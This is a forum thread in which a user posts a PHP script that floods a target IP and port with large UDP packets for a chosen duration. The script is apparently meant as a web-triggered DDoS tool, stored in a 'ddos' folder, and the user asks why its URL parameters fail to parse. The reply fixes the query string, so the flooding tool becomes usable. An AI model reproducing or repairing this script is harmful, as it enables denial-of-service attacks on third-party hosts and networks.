Issue Parsing Param's From URL

[cosmic]

Hey i am having some issues with some code. The values were submitted by a form but i want to change it to its submitted by the URL using $_GET. But doesnt want to work. Can someone please help me? This is just POC code no malicious intentions here. PHP is not my first language. Would appreciate any help. I am using netcat to test this.

 

<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
        
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
?>

 

URL Example:  http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10

 

Error: Warning: fsockopen() [function.fsockopen]: unable to connect to udp://127.0.0.1?port=81?time=1:0 (Failed to parse address "127.0.0.1?port=81?time=1") in C:\xampp\htdocs\ddos\udp.php on line 19

 

 

Will not parse the variables properly. Have spent so much time on this.

I don't recognize that error but I can say this:

the url "http://127.0.0.1/ddos/udp.php?ip=127.0.0.1?port=81?time=10" is not valid.  I should look like this http://127.0.0.1/ddos/udp.php?ip=127.0.0.1&port=81&time=10

This also may be a windows socket thing, which I don't use, but I do see something that you also might find useful here http://www.psychostats.com/forums/index.php?showtopic=20761&st=0&p=111863&&do=findComment&comment=111863
